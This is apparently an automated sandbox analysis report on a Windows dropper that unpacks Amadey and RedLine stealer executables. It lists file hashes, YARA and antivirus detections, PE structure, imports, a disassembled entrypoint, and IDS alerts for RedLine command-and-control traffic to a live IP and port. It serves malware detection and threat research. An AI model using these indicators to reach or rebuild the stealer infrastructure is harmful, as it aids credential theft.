	d6wHjfEmem.exe	Get hash	malicious	Amadey, RedLine	Browse	193.233.20.17
	lMBbFLk6Up.exe	Get hash	malicious	RedLine	Browse	193.233.20.17
	X2dIcltgDn.exe	Get hash	malicious	RedLine	Browse	193.233.20.17

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe	LwExBhgzp5.exe	Get hash	malicious	Amadey, RedLine	Browse
	sYIDRk0xB6.exe	Get hash	malicious	Amadey, RedLine	Browse
	V34prXiUKp.exe	Get hash	malicious	Amadey, RedLine	Browse
	j28TljQdlz.exe	Get hash	malicious	Amadey, RedLine	Browse
	7epTSsuohp.exe	Get hash	malicious	Amadey, RedLine	Browse
	QhT58d7Wa8.exe	Get hash	malicious	Amadey, RedLine	Browse
	001b09ececb8774d65d01bc2d0e8361072bae77ccaa7f.exe	Get hash	malicious	Amadey, RedLine	Browse
	R25yrPZVWB.exe	Get hash	malicious	Amadey, RedLine	Browse
	O3HGpnzpVR.exe	Get hash	malicious	Amadey, RedLine	Browse
	pjJw2RuL8g.exe	Get hash	malicious	Amadey, RedLine	Browse
	d6wHjfEmem.exe	Get hash	malicious	Amadey, RedLine	Browse
	7c5Krplc2I.exe	Get hash	malicious	Amadey, RedLine	Browse
	0TVZnvdn08.exe	Get hash	malicious	Amadey, RedLine	Browse
	i8ydwkcCFT.exe	Get hash	malicious	Amadey, RedLine	Browse
	J317T528yp.exe	Get hash	malicious	Amadey, RedLine	Browse
	LZAMwGq0MF.exe	Get hash	malicious	Amadey, RedLine	Browse
	OhWUUCQuVV.exe	Get hash	malicious	Amadey, RedLine	Browse
	70cff91e4937f0ff6d65807344652dc3141d1626bcfc7.exe	Get hash	malicious	Amadey, RedLine	Browse
	l90N7uj8BJ.exe	Get hash	malicious	Amadey, RedLine	Browse
	W0n2ZfP89x.exe	Get hash	malicious	Amadey, RedLine	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ijx54ck.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.354940450065058
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2wlAsDZiIv:Q3La/KDLI4MWuPTxAIv
MD5:	B10E37251C5B495643F331DB2EEC3394
SHA1:	25A5FFE4C2554C2B9A7C2794C9FE215998871193
SHA-256:	8A6B926C70F8DCFD915D68F167A1243B9DF7B9F642304F570CE584832D12102D
SHA-512:	296BC182515900934AA96E996FC48B565B7857801A07FEFA0D3D1E0C165981B266B084E344DB5B53041D1171F9C6708B4EE0D444906391C4FC073BCC23B92C37
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kxL91dA.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	5.3371553026862095
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHKhBHKdHKBfHK5AHKzvQTHmtHoxHImHK1HG1qL:iqXeqm00YqhQnouOqLqdqNq2qzcGtIxo
MD5:	23C2D90E17CA7696A67D1409932B5A7C
SHA1:	016D0108FE25645BB4A643E978633C172DE8851A
SHA-256:	8578583C1EF6E115971E420D1576C548F8342D459FE2B99728AC9BDA4A8C852B
SHA-512:	9308C444DA9CC60756A8450C8BFE72F77CDD41F81B6023EFD2015C77F83035540173B49507D07AD33A137587867E7FA7A4EA1975C35255774C24D38B0C445A38
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe

Download File

Process:	C:\Users\user\Desktop\21fvBVFMsn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	245248
Entropy (8bit):	6.363751855454997
Encrypted:	false
SSDEEP:	6144:U6f3mSV2p10caphMnboArJMuVyhpLT7oC2y8nU:UTb0caE0A2uVybLT7oChd
MD5:	0179181B2D4A5BB1346B67A4BE5EF57C
SHA1:	556750988B21379FD24E18B31E6CF14F36BF9E99
SHA-256:	0A763637206A70A3EC6707FE5728EA673AE3BC11EB5E059D962E99DCC3991F31
SHA-512:	1ADAAB4993EC3D1E32B9CC780AB17B5A6ACFE352789AAF2872E91BEF738DD5ACA3115071AC42A21C4FD19A82A522B515243EBEF340249115CFBE6951CB3C9CEE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\nIp99Jf.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 72% Antivirus: Virustotal, Detection: 69%, Browse
Joe Sandbox View:	Filename: LwExBhgzp5.exe, Detection: malicious, Browse Filename: sYIDRk0xB6.exe, Detection: malicious, Browse Filename: V34prXiUKp.exe, Detection: malicious, Browse Filename: j28TljQdlz.exe, Detection: malicious, Browse Filename: 7epTSsuohp.exe, Detection: malicious, Browse Filename: QhT58d7Wa8.exe, Detection: malicious, Browse Filename: 001b09ececb8774d65d01bc2d0e8361072bae77ccaa7f.exe, Detection: malicious, Browse Filename: R25yrPZVWB.exe, Detection: malicious, Browse Filename: O3HGpnzpVR.exe, Detection: malicious, Browse Filename: pjJw2RuL8g.exe, Detection: malicious, Browse Filename: d6wHjfEmem.exe, Detection: malicious, Browse Filename: 7c5Krplc2I.exe, Detection: malicious, Browse Filename: 0TVZnvdn08.exe, Detection: malicious, Browse Filename: i8ydwkcCFT.exe, Detection: malicious, Browse Filename: J317T528yp.exe, Detection: malicious, Browse Filename: LZAMwGq0MF.exe, Detection: malicious, Browse Filename: OhWUUCQuVV.exe, Detection: malicious, Browse Filename: 70cff91e4937f0ff6d65807344652dc3141d1626bcfc7.exe, Detection: malicious, Browse Filename: l90N7uj8BJ.exe, Detection: malicious, Browse Filename: W0n2ZfP89x.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z....D...D...D...E...D...EG..D...E...D2..E...D2..E...D2..E...D...E...D...DE..D\|..E...D\|..D...D\|..E...DRich...D........PE..L...+..c.............................v............@.......................... ............@.................................H...d...............................h(...S..p....................T.......S..@............................................text............................... ..`.rdata..............................@..@.data...pG...........z..............@....rsrc...............................@..@.reloc..h(.......*..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe

Download File

Process:	C:\Users\user\Desktop\21fvBVFMsn.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	571904
Entropy (8bit):	7.826338389411454
Encrypted:	false
SSDEEP:	12288:yMr6y90++2JKNtPKEw3Lm/fy9N6aaEaUDZWoRwm2l3SB:UyxN8iaXYNl60f+tSB
MD5:	EE9CEC71CDD89A723F90D5013E963B02
SHA1:	43894D2D70B751A2F54E58AF8124DCE57FF7B5CD
SHA-256:	214DB2BB6E847D0A783D2973B83150D3805CC2144342A41DFEDE3B90B4187853
SHA-512:	AC27FC72516D0ADD01F1FE18AD593B0003D661949ADE7889A45A9DD23EC31B4D10CA59F551B967A9291C7B70EA9C5F4BB1521509366201A1E0BCB3867025B067
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 69% Antivirus: Virustotal, Detection: 55%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d...R......`j............@.......................................@...... .......................................2..............................T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc....@.......4...\|..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\lbt58JR.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	357376
Entropy (8bit):	7.319017097214291
Encrypted:	false
SSDEEP:	6144:4FyoLGl224CQudunpkF+syy4rl1dGSraZ6D47/2pCbsYoqu:4woCl223QudunpM+JlaEaUD29sR
MD5:	8A8E17457F2ADB572257270B521CD527
SHA1:	2B8BD22C7220ACF82A5DAE2428EB1CBADA13C119
SHA-256:	8A92F1C6D8A530BAEC6BADB2C91636C1DE336B2AFB54EA9E6FB718D53A452F5F
SHA-512:	1035EC0CE7EFD17256CDF6513BD5CCE269C900F668290D3077C203FE10CCDD2C6193CCD32DE0138A80C1F64B8EC9A2F044C536BAB5DE00567D0E45D91F9B4C88
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 46% Antivirus: Virustotal, Detection: 41%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".X.f.6.f.6.f.6.x..}.6.x....6.x..N.6.AuM.o.6.f.7...6.x..g.6.x..g.6.x..g.6.Richf.6.........................PE..L...D..c.............................`.......0....@..........................0..................................................d........9...........................................................:..@............................................text............................... ..`.data...h....0......................@....rsrc....9.......:..................@..@.reloc..\|).......*...J..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\sEm51bM.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	206848
Entropy (8bit):	7.244182454113531
Encrypted:	false
SSDEEP:	3072:K1y+bnr+O1Q5GWp1icKAArDZz4N9GhbkrNEk6alaJRiHUKlYj:K1y+bnr+Pp0yN90QE8sJ0Uf
MD5:	EA0FADAB5F038CDB93F37EA867C62934
SHA1:	9BB0D6C6B3D769F1CA784BE50CA1EE9A033E5055
SHA-256:	0AECA2DB604D99082880C8DA7903A91874195936BF859496DD44C31324FDF8EA
SHA-512:	1DD60138E438D074DBDE94CF3BC3102C18ADD7DA44D6A57C7B933D0DDE11FEA2B9EFB09A73515A7B31499E4142A4F3328D79461A4659080F5B7AA0E6725ADD10
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 69%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K..K..K...N..K...H..K...O..K...J..K..J...K...C..K.....K...I..K.Rich..K.........PE..L....`.b.................d..........`j............@.................................f.....@...... ..........................................................p..........T...............................@............................................text....c.......d.................. ..`.data...H............h..............@....idata..R............j..............@..@.rsrc................\|..............@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IXP002.TMP\ijx54ck.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	4.97029807367379
Encrypted:	false
SSDEEP:	96:yA/vMth9sDLibql3A44P9QL4fwmPImg+A03PvXLOzk+gqWYV4J6oP/zNt:yw+wGWt94+iANiCkc4Jhp
MD5:	7E93BACBBC33E6652E147E7FE07572A0
SHA1:	421A7167DA01C8DA4DC4D5234CA3DD84E319E762
SHA-256:	850CD190AAEEBCF1505674D97F51756F325E650320EAF76785D954223A9BEE38
SHA-512:	250169D7B6FCEBFF400BE89EDAE8340F14130CED70C340BA9DA9F225F62B52B35F6645BFB510962EFB866F988688CB42392561D3E6B72194BC89D310EA43AA91
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 85%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0.."...........@... ...`....@.. ....................................@..................................@..O....`...............................@..8............................................ ............... ..H............text.... ... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B.................@......H.......T$...............................................................0...........@s.....@...(....&..0..K......... ?...(......~....(....,.r...p.....(....%..(....& ....(....(....&.(....&..0..e.......(....~........+G.....o....r#..p(....,-.o.... ......(....-..(....&(.....o....(....&..X....i2..(....&....0..`.......(....~........+B.....o....r...p(....,(.o.... ......(....-..(....&.o....(....&..X....i2..(....&.0..c......... ?...(......~....(....,.*....(............%...(...

C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP001.TMP\sMt14vz.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	179200
Entropy (8bit):	4.949585044867417
Encrypted:	false
SSDEEP:	3072:cxqZWJBaKULo3HieYaez5F0h4/xNn2pU9f2MKTV/wi4lr55R9TxlnsPsUw0jOuwk:yqZIHi5t0h
MD5:	C9C03EC2426C8416841FD7E93BB9DC3D
SHA1:	FD9430CC92842D29F76A7B3169EEE466F67273DB
SHA-256:	35BF034217A7E519626A2E1F7D1627322EBB31F9FA8E839EAFDF7AE2CDE977BE
SHA-512:	75D4A52CF4DCF4F43B3537344588393FBB96F9ED0173FF2981A497BD359FFBA9B7FED2BA7EB2FF04341D7FA2969CC2068EDEE009DF6E8292938E408BE41D7E5A
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe, Author: Joe Security Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\kxL91dA.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&_@...............0.................. ........@.. ....................... ............@.................................8...O.......$............................................................................ ............... ..H............text....... ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.886498186028406
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	21fvBVFMsn.exe
File size:	764928
MD5:	478e1c903cfcda85acdb9759ae80e155
SHA1:	dc03499087dfa49b93fd9ba4b1452d0af8baef46
SHA256:	fd0f2580ee525c2fbde7b187b7b385a56e1817a219da7f3c398992a2c784a7d1
SHA512:	b3fd0e4810d987dcb232afa0d6c45a6dbc6bedc01538af0127f4f56d73a9da735870e29953c72efac74b08fc642702661427c3989bbd8de4b374190ba2affdab
SSDEEP:	12288:6MrMy90EI++bhYm1rUuQ/PKIwjcm/RySNvahEaUDZvoRFm2lR4B9pbap5RUGn:WyHIH1PrUBshJHNid0ufH4B2hPn
TLSH:	29F4124BE7CC8035F8F1177058F602D30A36BE615B788396274E6E5D5873AA0E27276B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...N...K...H...K...O...K...J...K...J...K...C...K.......K...I...K.Rich..K.........PE..L....`.b.................d.

File Icon


Icon Hash:	f8e0e4e8ecccc870

Static PE Info

General

Entrypoint:	0x406a60
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x628D60E2 [Tue May 24 22:49:06 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	646167cce332c1c252cdcb1839e0cf48

Entrypoint Preview

Instruction
call 00007F47BCC77745h
jmp 00007F47BCC77055h
push 00000058h
push 004072B8h
call 00007F47BCC777E7h
xor ebx, ebx
mov dword ptr [ebp-20h], ebx
lea eax, dword ptr [ebp-68h]
push eax
call dword ptr [0040A184h]
mov dword ptr [ebp-04h], ebx
mov eax, dword ptr fs:[00000018h]
mov esi, dword ptr [eax+04h]
mov edi, ebx
mov edx, 004088ACh
mov ecx, esi
xor eax, eax
lock cmpxchg dword ptr [edx], ecx
test eax, eax
je 00007F47BCC7706Ah
cmp eax, esi
jne 00007F47BCC77059h
xor esi, esi
inc esi
mov edi, esi
jmp 00007F47BCC77062h
push 000003E8h
call dword ptr [0040A188h]
jmp 00007F47BCC77029h
xor esi, esi
inc esi
cmp dword ptr [004088B0h], esi
jne 00007F47BCC7705Ch
push 0000001Fh
call 00007F47BCC7757Bh
pop ecx
jmp 00007F47BCC7708Ch
cmp dword ptr [004088B0h], ebx
jne 00007F47BCC7707Eh
mov dword ptr [004088B0h], esi
push 004010C4h
push 004010B8h
call 00007F47BCC771A6h
pop ecx
pop ecx
test eax, eax
je 00007F47BCC77069h
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, 000000FFh
jmp 00007F47BCC77189h
mov dword ptr [004081E4h], esi
cmp dword ptr [004088B0h], esi
jne 00007F47BCC7706Dh
push 004010B4h
push 004010ACh
call 00007F47BCC77735h
pop ecx
pop ecx
mov dword ptr [000088B0h], 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa28c	0xb4	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0xb25f8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xbf000	0x888	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1410	0x54	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1008	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa000	0x288	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6314	0x6400	False	0.5744140625	data	6.314163792045976	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x8000	0x1a48	0x200	False	0.609375	data	4.970639543960129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa000	0x1052	0x1200	False	0.4140625	data	5.025949912909207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0xb3000	0xb2600	False	0.9483345742817099	data	7.915927904909951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xbf000	0x888	0xa00	False	0.746484375	data	6.222637930812128	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AVI	0xcb30	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States
RT_ICON	0xf94c	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States
RT_ICON	0xffb4	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States
RT_ICON	0x1029c	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States
RT_ICON	0x10484	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States
RT_ICON	0x105ac	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States
RT_ICON	0x11454	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States
RT_ICON	0x11cfc	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States
RT_ICON	0x123c4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States
RT_ICON	0x1292c	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States
RT_ICON	0x20300	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States
RT_ICON	0x228a8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States
RT_ICON	0x23950	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States
RT_ICON	0x242d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States
RT_DIALOG	0x24740	0x2f2	data	English	United States
RT_DIALOG	0x24a34	0x35c	data	Russian	Russia
RT_DIALOG	0x24d90	0x1b0	data	English	United States
RT_DIALOG	0x24f40	0x1b4	data	Russian	Russia
RT_DIALOG	0x250f4	0x166	data	English	United States
RT_DIALOG	0x2525c	0x168	data	Russian	Russia
RT_DIALOG	0x253c4	0x1c0	data	English	United States
RT_DIALOG	0x25584	0x1e0	data	Russian	Russia
RT_DIALOG	0x25764	0x130	data	English	United States
RT_DIALOG	0x25894	0x150	data	Russian	Russia
RT_DIALOG	0x259e4	0x120	data	English	United States
RT_DIALOG	0x25b04	0x122	data	Russian	Russia
RT_STRING	0x25c28	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States
RT_STRING	0x25cb4	0x86	Matlab v4 mat-file (little endian) K\0041\0045\004@\0048\004B\0045\004 , numeric, rows 0, columns 0	Russian	Russia
RT_STRING	0x25d3c	0x520	data	English	United States
RT_STRING	0x2625c	0x52e	data	Russian	Russia
RT_STRING	0x2678c	0x5cc	data	English	United States
RT_STRING	0x26d58	0x592	data	Russian	Russia
RT_STRING	0x272ec	0x4b0	data	English	United States
RT_STRING	0x2779c	0x4b2	data	Russian	Russia
RT_STRING	0x27c50	0x44a	data	English	United States
RT_STRING	0x2809c	0x43e	data	Russian	Russia
RT_STRING	0x284dc	0x3ce	data	English	United States
RT_STRING	0x288ac	0x2fc	data	Russian	Russia
RT_RCDATA	0x28ba8	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x28bb0	0x9491a	Microsoft Cabinet archive data, many, 608538 bytes, 2 files, at 0x2c +A "sEm51bM.exe" +A "nIp99Jf.exe", ID 1891, number 1, 25 datablocks, 0x1503 compression	English	United States
RT_RCDATA	0xbd4cc	0x4	data	English	United States
RT_RCDATA	0xbd4d0	0x24	data	English	United States
RT_RCDATA	0xbd4f4	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0xbd4fc	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0xbd504	0x4	data	English	United States
RT_RCDATA	0xbd508	0xc	data	English	United States
RT_RCDATA	0xbd514	0x4	data	English	United States
RT_RCDATA	0xbd518	0xc	data	English	United States
RT_RCDATA	0xbd524	0x4	data	English	United States
RT_RCDATA	0xbd528	0x5	ASCII text, with no line terminators	English	United States
RT_RCDATA	0xbd530	0x7	ASCII text, with no line terminators	English	United States
RT_RCDATA	0xbd538	0x7	ASCII text, with no line terminators	English	United States
RT_GROUP_ICON	0xbd540	0xbc	data	English	United States
RT_VERSION	0xbd5fc	0x408	data	English	United States
RT_VERSION	0xbda04	0x410	data	Russian	Russia
RT_MANIFEST	0xbde14	0x7e2	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, lstrcmpA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, ExpandEnvironmentStringsA, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, FindNextFileA, LocalAlloc, GetShortPathNameA, MulDiv, GetDiskFreeSpaceA, EnumResourceLanguagesA, GetTickCount, GetSystemTimeAsFileTime, GetCurrentThreadId, GetCurrentProcessId, QueryPerformanceCounter, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, GetStartupInfoW, Sleep, FindClose, GetCurrentProcess, FindFirstFileA, WaitForSingleObject, GetModuleFileNameA, LoadLibraryExA
GDI32.dll	GetDeviceCaps
USER32.dll	SetWindowLongA, GetDlgItemTextA, DialogBoxIndirectParamA, ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetDesktopWindow, CharUpperA, SetDlgItemTextA, ExitWindowsEx, MessageBeep, EndDialog, CharPrevA, LoadStringA, CharNextA, EnableWindow, ReleaseDC, SetForegroundWindow, PeekMessageA, GetDlgItem, SendMessageA, SendDlgItemMessageA, MessageBoxA, SetWindowTextA, GetWindowLongA, CallWindowProcA, GetSystemMetrics
msvcrt.dll	_controlfp, ?terminate@@YAXXZ, _acmdln, _initterm, __setusermatherr, _except_handler4_common, memcpy, _ismbblead, __p__fmode, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, __p__commode, _XcptFilter, memcpy_s, _vsnprintf, memset
COMCTL32.dll
Cabinet.dll
VERSION.dll	GetFileVersionInfoA, VerQueryValueA, GetFileVersionInfoSizeA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
193.233.20.17192.168.2.34139496992043234 02/19/23-02:32:23.476854	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	4139	49699	193.233.20.17	192.168.2.3
192.168.2.3193.233.20.174969941392043231 02/19/23-02:32:35.640007	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49699	4139	192.168.2.3	193.233.20.17
192.168.2.3193.233.20.174969941392043233 02/19/23-02:32:22.070574	TCP	2043233	ET TROJAN RedLine Stealer TCP CnC net.tcp Init	49699	4139	192.168.2.3	193.233.20.17

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 19, 2023 02:32:21.699728012 CET	49699	4139	192.168.2.3	193.233.20.17
